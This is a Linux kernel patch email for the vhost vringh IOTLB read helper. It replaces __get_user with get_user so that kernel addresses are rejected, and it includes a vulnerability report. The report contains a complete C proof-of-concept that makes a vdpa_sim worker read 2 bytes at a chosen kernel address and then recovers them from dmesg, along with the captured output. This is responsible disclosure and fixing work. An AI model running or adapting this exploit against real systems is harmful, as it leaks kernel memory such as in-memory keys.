From c165d81ad210155e0ac8eff7a571d9e525c00113 Mon Sep 17 00:00:00 2001 From: Haoran Wang <[email protected]> Date: Thu, 15 Oct 2026 16:59:32 +0800 Subject: [PATCH] vringh: validate user address in the IOTLB use_va read helper
getu16_iotlb() reads a 2-byte value from the address returned by iotlb_translate() using __get_user(), which skips access_ok(). iotlb_translate() only performs an IOTLB interval lookup and does not validate the address as a user pointer. In the vhost-vdpa + vdpa_sim use_va path, vdpa_sim's default passthrough IOTLB identity-maps the whole address space and vdpasim_set_vq_address() stores the controller-supplied vring address verbatim, so a controller with CAP_NET_ADMIN can point the vring avail_user_addr at a kernel address. On a vq kick the worker then dereferences that kernel address via __get_user(), leaking 2 bytes of kernel memory per read; the value is disclosed to dmesg by vringh_bad(). get_user() is access_ok() + __get_user(), use it instead so a kernel address is rejected with -EFAULT rather than dereferenced. Signed-off-by: Haoran Wang <[email protected]> --- I'd like to report an issue in drivers/vhost/vringh.c:1216 (function getu16_iotlb), found via static analysis of Linux 7.0.11 and verified against the 7.2.10 source tree. I have reproduced the leak on an unmodified 7.2.10 kernel. 1. Summary getu16_iotlb() calls __get_user(tmp, (__virtio16 __user *)iov_base) without an access_ok() check. iov_base originates from iotlb_translate(), which only performs an IOTLB interval lookup (vhost_iotlb_itree_first) and does not call access_ok(). In the vdpa_sim default passthrough mode the entire address space is identity-mapped ([0, ULONG_MAX] -> 0), and vdpasim_set_vq_address() stores the controller-supplied vring address verbatim with no validation. A controller with CAP_NET_ADMIN can therefore set a vring avail_user_addr to a kernel address. On a vq kick the vdpa_sim worker reads 2 bytes from that kernel address via __get_user (no access_ok). Each vring iteration reads 2 bytes and the value is repeatable, yielding an arbitrary-kernel-address 2-byte read. get_user() would have rejected a kernel address via access_ok(), while__get_user() does not. 2. Vulnerable code - File: drivers/vhost/vringh.c:1216 (unchanged in 7.2.10) - Function: getu16_iotlb - Misused API: __get_user ```c /* drivers/vhost/vringh.c:1216 - getu16_iotlb (IOTLB read helper, per vring iteration) */ if (vrh->use_va) { ret = __get_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base); /* no access_ok */ } /* iov_base comes from iotlb_translate() (IOTLB lookup only, no access_ok) */ /* drivers/vdpa/vdpa_sim/vdpa_sim.c:157-159 - passthrough identity-maps everything */ vhost_iotlb_add_range(&iommu, 0, ULONG_MAX, 0, VHOST_MAP_RW); /* vdpa_sim.c:297 - set_vq_address stores the controller u64 verbatim, no validation */ vq->desc_addr = desc_area; /* controller-controlled = kernel address */ ``` 3. Root cause get_user() = access_ok() + __get_user(). __get_user() skips access_ok() (it expands to __get_user_nocheck, which performs no check_range, whereas get_user/put_user expand to the check_range-bearing variants that reject kernel addresses). In the vhost-vdpa + vdpa_sim use_va path, the vring addresses supplied by the controller (driver_addr/desc_addr) flow through iotlb_translate(), which only does a vhost_iotlb_itree_first() interval lookup. vdpa_sim's default passthrough IOTLB identity-maps the whole address space, so any address passes the lookup. vdpasim_set_vq_address() stores the controller's u64 with no user/kernel validation, and vhost_vring_set_addr()'s access_ok is skipped in the vhost-vdpa path because vq->private_data is never set. Consequently __get_user dereferences an attacker-chosen kernel virtual address: the vdpa_sim worker runs under kthread_use_mm() in the controller's mm with SMAP disabled (STAC), and kernel addresses are mapped there, so 2 bytes of kernel memory are read. With num=1, __vringh_get_head() sees head (the leaked u16) >= 1 and calls vringh_bad(), which printk's the leaked value to dmesg, making the leak externally observable. 4. Affected versions Present in: Linux 7.0.11. 7.2.10: still present, reproduced on 7.2.10 kernel. 5. Trigger / Preconditions CAP_NET_ADMIN + vdpa_sim (CONFIG_VDPA_SIM / VDPA_SIM_BLOCK) + use_va mode. The controller creates a vdpasim device, binds its mm (VHOST_SET_OWNER, enabling use_va), negotiates VIRTIO_F_ACCESS_PLATFORM, sets the vring avail_user_addr to a kernel address, enables the vq, sets DRIVER_OK, and kicks the vq. The worker then reads 2 bytes at the chosen kernel address. 6. Proof of Concept Reproduced on Linux 7.2.10 tarball (config-only: CONFIG_KASAN=y, VHOST_VDPA=y, VDPA_SIM=y, VDPA_SIM_BLOCK=y). The trigger sets avail_user_addr = &linux_banner and reads avail->ring[0] (at banner+4). With num=1, the leaked u16 is printk'd by vringh_bad(). Concrete reproduced evidence (7.2.10): - dmesg: "vringh:" then "Guest says index 8312 > 1 is available" - leaked value = 8312 = 0x2078 = linux_banner[4]='x'(0x78) | (linux_banner[5]=' '(0x20) << 8) - The expected value is independently computable from /proc/version (which prints the same linux_banner): proc_version[4] | (proc_version[5] << 8) = 0x78 | 0x2000 = 0x2078 = 8312. The reproduced value MATCHES. - Across 3 boots the banner *address* changed under KASLR (0xffffffff8b517280 / 0xffffffffa3f17280 / 0xffffffff90717280; the trigger resolves it at runtime via /proc/kallsyms), while the leaked *content* was 8312 every time. KASLR only randomizes the address, the 2 bytes read there are constant. So a CAP_NET_ADMIN controller can read 2 bytes at an arbitrary kernel virtual address by setting a vring avail_user_addr to that address and kicking the vdpa_sim worker. The value is disclosed to dmesg via vringh_bad(). This is an arbitrary-kernel-address 2-byte read on an 7.2.10 kernel. Reproducer (vringh_leak.c) -- runs in the QEMU guest as root (CAP_NET_ADMIN): ```c #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <stdint.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/mman.h> #include <linux/netlink.h> #include <linux/genetlink.h> #include <linux/vhost.h> #include <linux/vdpa.h> #include <sys/eventfd.h> #ifndef VHOST_VDPA #define VHOST_VDPA 0xAF #endif #ifndef VHOST_BACKEND_F_IOTLB_MSG_V2 #define VHOST_BACKEND_F_IOTLB_MSG_V2 0x1 #endif #ifndef VHOST_BACKEND_F_IOTLB_BATCH #define VHOST_BACKEND_F_IOTLB_BATCH 0x2 #endif #ifndef VHOST_BACKEND_F_IOTLB_ASID #define VHOST_BACKEND_F_IOTLB_ASID 0x3 #endif #ifndef VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK #define VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK 0x6 #endif static inline int nla_ok_(const struct nlattr *nla, int remaining) { return remaining >= (int)sizeof(struct nlattr) && nla->nla_len >= (int)sizeof(struct nlattr) && nla->nla_len <= remaining; } static inline struct nlattr *nla_next_(const struct nlattr *nla, int *remaining) { int tot = (int)NLA_ALIGN(nla->nla_len); *remaining -= tot; return (struct nlattr *)((char *)nla + tot); } static inline void *nla_data_(const struct nlattr *nla) { return (char *)nla + NLA_HDRLEN; } #ifndef VDPA_GENL_NAME #define VDPA_GENL_NAME "vdpa" #endif #ifndef VDPA_GENL_VERSION #define VDPA_GENL_VERSION 1 #endif #ifndef VDPA_CMD_DEV_NEW #define VDPA_CMD_DEV_NEW 3 #endif #ifndef VDPA_CMD_DEV_DEL #define VDPA_CMD_DEV_DEL 4 #endif #ifndef VDPA_ATTR_MGMTDEV_DEV_NAME #define VDPA_ATTR_MGMTDEV_DEV_NAME 2 #endif #ifndef VDPA_ATTR_DEV_NAME #define VDPA_ATTR_DEV_NAME 4 #endif #define die(fmt, ...) do { fprintf(stderr, "FATAL: " fmt "\n", ##__VA_ARGS__); exit(1); } while (0) #define xp(fmt, ...) do { int _e = errno; fprintf(stderr, "ERR " fmt " (%s)\n", ##__VA_ARGS__, strerror(_e)); } while (0) static int nlsock; static __u32 nlseq = 0; static int nla_put_str(struct nlmsghdr *nlh, int len, int type, const char *s) { struct nlattr { __u16 nla_len; __u16 nla_type; } *nla; int sl = (int)strlen(s) + 1; int pl = NLA_HDRLEN + sl; int pad = NLA_ALIGN(sl) - sl; if (NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(pl) > (size_t)len) return -1; nla = (void *)nlh + NLMSG_ALIGN(nlh->nlmsg_len); nla->nla_len = (__u16)pl; nla->nla_type = (__u16)type; memcpy((char *)nla + NLA_HDRLEN, s, sl); nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(pl); (void)pad; return 0; } static int genl_resolve_family(const char *name, __u16 *fam_id) { char buf[1024]; struct nlmsghdr *nlh = (void *)buf; struct genlmsghdr *gh; memset(buf, 0, sizeof(buf)); nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh)); nlh->nlmsg_type = GENL_ID_CTRL; nlh->nlmsg_flags = NLM_F_REQUEST; nlh->nlmsg_seq = ++nlseq; gh = NLMSG_DATA(nlh); gh->cmd = CTRL_CMD_GETFAMILY; gh->version = 1; nla_put_str(nlh, sizeof(buf), CTRL_ATTR_FAMILY_NAME, name); struct sockaddr_nl dst = { .nl_family = AF_NETLINK }; struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len }; struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1 }; if (sendmsg(nlsock, &msg, 0) < 0) { xp("sendmsg getfamily"); return -1; } char rbuf[4096]; struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) }; struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 }; ssize_t n = recvmsg(nlsock, &rmsg, 0); if (n < 0) { xp("recvmsg getfamily"); return -1; } struct nlmsghdr *r = (void *)rbuf; if (!NLMSG_OK(r, (size_t)n)) return -1; if (r->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *e = NLMSG_DATA(r); fprintf(stderr, "genl getfamily error %d\n", e->error); return -1; } int hlen = GENL_HDRLEN; struct nlattr *na = (void *)r + NLMSG_HDRLEN + hlen; int rem = (int)(r->nlmsg_len - NLMSG_HDRLEN - hlen); *fam_id = 0; for (; nla_ok_(na, rem); na = nla_next_(na, &rem)) { if (na->nla_type == CTRL_ATTR_FAMILY_ID) { *fam_id = *(__u16 *)nla_data_(na); return 0; } } return -1; } static int genl_dev_new(__u16 fam, const char *mgmtdev, const char *devname) { char buf[1024]; struct nlmsghdr *nlh = (void *)buf; struct genlmsghdr *gh; memset(buf, 0, sizeof(buf)); nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh)); nlh->nlmsg_type = fam; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = ++nlseq; gh = NLMSG_DATA(nlh); gh->cmd = VDPA_CMD_DEV_NEW; gh->version = VDPA_GENL_VERSION; if (nla_put_str(nlh, sizeof(buf), VDPA_ATTR_MGMTDEV_DEV_NAME, mgmtdev) < 0) return -1; if (nla_put_str(nlh, sizeof(buf), VDPA_ATTR_DEV_NAME, devname) < 0) return -1; struct sockaddr_nl dst = { .nl_family = AF_NETLINK }; struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len }; struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1 }; if (sendmsg(nlsock, &msg, 0) < 0) { xp("sendmsg dev_new"); return -1; } char rbuf[4096]; struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) }; struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 }; ssize_t n = recvmsg(nlsock, &rmsg, 0); if (n < 0) { xp("recvmsg dev_new"); return -1; } struct nlmsghdr *r = (void *)rbuf; if (!NLMSG_OK(r, (size_t)n)) return -1; if (r->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *e = NLMSG_DATA(r); if (e->error == 0) return 0; fprintf(stderr, "dev_new error %d (%s)\n", e->error, strerror(-e->error)); return -1; } return 0; } static int genl_dev_del(__u16 fam, const char *devname) { char buf[1024]; struct nlmsghdr *nlh = (void *)buf; struct genlmsghdr *gh; memset(buf, 0, sizeof(buf)); nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh)); nlh->nlmsg_type = fam; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = ++nlseq; gh = NLMSG_DATA(nlh); gh->cmd = VDPA_CMD_DEV_DEL; gh->version = VDPA_GENL_VERSION; nla_put_str(nlh, sizeof(buf), VDPA_ATTR_DEV_NAME, devname); struct sockaddr_nl dst = { .nl_family = AF_NETLINK }; struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len }; struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1 }; sendmsg(nlsock, &msg, 0); char rbuf[4096]; struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) }; struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 }; recvmsg(nlsock, &rmsg, 0); return 0; } static unsigned long ksym(const char *want) { FILE *f = fopen("/proc/kallsyms", "r"); if (!f) return 0; char line[512]; unsigned long a = 0; while (fgets(line, sizeof(line), f)) { char type; char name[256]; if (sscanf(line, "%lx %c %255s", &a, &type, name) == 3) { if (strcmp(name, want) == 0) { fclose(f); return a; } } } fclose(f); return 0; } static int expected_leak(unsigned *out) { FILE *f = fopen("/proc/version", "r"); if (!f) return -1; char v[256]; if (!fgets(v, sizeof(v), f)) { fclose(f); return -1; } fclose(f); int len = (int)strlen(v); if (len < 6) return -1; unsigned m = ((unsigned)(unsigned char)v[4]) | (((unsigned)(unsigned char)v[5]) << 8); *out = m; fprintf(stderr, "[*] /proc version bytes[4,5] = 0x%02x 0x%02x => expected leak M = 0x%04x (%u)\n", (unsigned char)v[4], (unsigned char)v[5], m, m); fprintf(stderr, "[*] /proc/version = %.40s\n", v); return 0; } int main(int argc, char **argv) { unsigned exp; if (expected_leak(&exp)) die("cannot read /proc/version"); unsigned long banner = ksym("linux_banner"); fprintf(stderr, "[*] linux_banner @ 0x%lx\n", banner); if (!banner) die("linux_banner not in /proc/kallsyms (need root)"); nlsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (nlsock < 0) die("netlink socket"); struct sockaddr_nl sa = { .nl_family = AF_NETLINK }; if (bind(nlsock, (struct sockaddr *)&sa, sizeof(sa)) < 0) die("netlink bind"); __u16 fam; if (genl_resolve_family(VDPA_GENL_NAME, &fam)) die("resolve genl family 'vdpa' (CONFIG_VDPA?)"); fprintf(stderr, "[*] genl family 'vdpa' id=%u\n", fam); if (genl_dev_new(fam, "vdpasim_blk", "sim0")) die("dev_new vdpasim_blk (CONFIG_VDPA_SIM_BLOCK?)"); fprintf(stderr, "[*] created vdpa device sim0 (vdpasim_blk)\n"); char path[64]; int vfd = -1; for (int i = 0; i < 50; i++) { snprintf(path, sizeof(path), "/dev/vhost-vdpa-%d", i); vfd = open(path, O_RDWR | O_CLOEXEC); if (vfd >= 0) break; } if (vfd < 0) die("open /dev/vhost-vdpa-*"); fprintf(stderr, "[*] opened %s fd=%d\n", path, vfd); int callfd = eventfd(0, EFD_CLOEXEC); int kickfd = eventfd(0, EFD_CLOEXEC); if (callfd < 0 || kickfd < 0) die("eventfd"); if (ioctl(vfd, VHOST_SET_OWNER)) die("VHOST_SET_OWNER"); __u64 bf = 0; if (ioctl(vfd, VHOST_GET_BACKEND_FEATURES, &bf)) xp("get_backend_features"); __u64 setbf = bf | (1ULL << VHOST_BACKEND_F_IOTLB_MSG_V2) | (1ULL << VHOST_BACKEND_F_IOTLB_BATCH) | (1ULL << VHOST_BACKEND_F_IOTLB_ASID) | (1ULL << VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK); if (ioctl(vfd, VHOST_SET_BACKEND_FEATURES, &setbf)) xp("set_backend_features"); __u64 feat = 0; if (ioctl(vfd, VHOST_GET_FEATURES, &feat)) die("get_features"); __u64 ack = 0; ack |= (1ULL << VIRTIO_F_ACCESS_PLATFORM); ack |= (1ULL << VIRTIO_F_VERSION_1); ack |= (1ULL << VIRTIO_F_ANY_LAYOUT); ack &= feat; if (!(ack & (1ULL << VIRTIO_F_ACCESS_PLATFORM))) die("ACCESS_PLATFORM not supported - no use_va?"); if (ioctl(vfd, VHOST_SET_FEATURES, &ack)) die("set_features (need ACCESS_PLATFORM)"); struct vhost_vring_state vs = { .index = 0, .num = 1 }; if (ioctl(vfd, VHOST_SET_VRING_NUM, &vs)) die("set_vring_num"); size_t pg = 4096; void *descbuf = mmap(NULL, pg, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0); void *usedbuf = mmap(NULL, pg, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0); if (descbuf == MAP_FAILED || usedbuf == MAP_FAILED) die("mmap"); memset(descbuf, 0, pg); memset(usedbuf, 0, pg); struct vhost_vring_addr va = {0}; va.index = 0; va.flags = 0; va.desc_user_addr = (uintptr_t)descbuf; va.avail_user_addr = (uintptr_t)banner; /* <-- KERNEL address, the leak source */ va.used_user_addr = (uintptr_t)usedbuf; va.log_guest_addr = 0; if (ioctl(vfd, VHOST_SET_VRING_ADDR, &va)) die("set_vring_addr (avail=kernel addr rejected?)"); struct vhost_vring_state base = { .index = 0, .num = 0 }; if (ioctl(vfd, VHOST_SET_VRING_BASE, &base)) die("set_vring_base"); struct vhost_vring_file cf = { .index = 0, .fd = callfd }; if (ioctl(vfd, VHOST_SET_VRING_CALL, &cf)) die("set_vring_call"); struct vhost_vring_file kf = { .index = 0, .fd = kickfd }; if (ioctl(vfd, VHOST_SET_VRING_KICK, &kf)) die("set_vring_kick"); struct vhost_vring_state en = { .index = 0, .num = 1 }; if (ioctl(vfd, VHOST_VDPA_SET_VRING_ENABLE, &en)) die("set_vring_enable"); __u8 status = VIRTIO_CONFIG_S_ACKNOWLEDGE | VIRTIO_CONFIG_S_DRIVER | VIRTIO_CONFIG_S_FEATURES_OK | VIRTIO_CONFIG_S_DRIVER_OK; if (ioctl(vfd, VHOST_VDPA_SET_STATUS, &status)) die("set_status DRIVER_OK"); uint64_t one = 1; if (write(kickfd, &one, sizeof(one)) != sizeof(one)) die("kick write"); unsigned leaked = 0; int found = 0; for (int try = 0; try < 20 && !found; try++) { usleep(100000); FILE *d = popen("dmesg 2>/dev/null", "r"); if (d) { char l[512]; while (fgets(l, sizeof(l), d)) { char *p = strstr(l, "Guest says index"); if (p) { unsigned idx = 0, numv = 0; if (sscanf(p, "Guest says index %u > %u is available", &idx, &numv) >= 1) { leaked = idx; found = 1; fprintf(stderr, "[!!] dmesg: %s", l); break; } } } pclose(d); } } if (!found) { fprintf(stderr, "[!] no vringh_bad leak line in dmesg; dumping tail:\n"); FILE *d = popen("dmesg 2>/dev/null | tail -40", "r"); if (d) { char l[512]; while (fgets(l, sizeof(l), d)) fputs(l, stderr); pclose(d); } die("leak not observed (worker may not have run, or use_va/mm_bound not set)"); } fprintf(stderr, "\n=== RESULT ===\n"); fprintf(stderr, "leaked kernel u16 @ linux_banner+4 = 0x%04x (%u)\n", leaked, leaked); fprintf(stderr, "expected (/proc/version[4,5]) = 0x%04x (%u)\n", exp, exp); if (leaked == exp) { fprintf(stderr, "MATCH: __get_user read 2 bytes at kernel addr 0x%lx via vringh.c:1216\n", banner + 4); fprintf(stderr, "PROVEN: arbitrary-kernel-address 2-byte read (no access_ok) on unmodified kernel\n"); } else { fprintf(stderr, "MISMATCH - investigate\n"); } status = 0; ioctl(vfd, VHOST_VDPA_SET_STATUS, &status); close(vfd); close(callfd); close(kickfd); genl_dev_del(fam, "sim0"); return (leaked == exp) ? 0 : 2; } ``` Captured dmesg from the 7.2.10 run (the disclosed leaked value): ``` [ 1.882938] vringh: [ 1.882944] Guest says index 8312 > 1 is available ``` 7. Impact Privileged kernel memory information leak: a CAP_NET_ADMIN controller can read 2 bytes at an arbitrary kernel virtual address per vring kick via __get_user() with no access_ok(), and the value is disclosed to dmesg via vringh_bad(). The read is repeatable, so the whole kernel address space can be scanned 2 bytes at a time (kernel .text/.data, structure contents, in-memory keys). CAP_NET_ADMIN should not grant arbitrary kernel-memory reads. No memory corruption. KASLR does not prevent it (only the address is randomized, the leaked content is constant). Only the use_va mode is affected (the non-use_va path goes through GUP, which has an equivalent check_range guard). Please let me know if you need more detail. --- drivers/vhost/vringh.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/vhost/vringh.c b/drivers/vhost/vringh.c index 9066f9f..b441243 100644 --- a/drivers/vhost/vringh.c +++ b/drivers/vhost/vringh.c @@ -1213,7 +1213,7 @@ static inline int getu16_iotlb(const struct vringh *vrh, return ret; if (vrh->use_va) { - ret = __get_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base); + ret = get_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base); if (ret) return ret; } else { -- 2.43.0

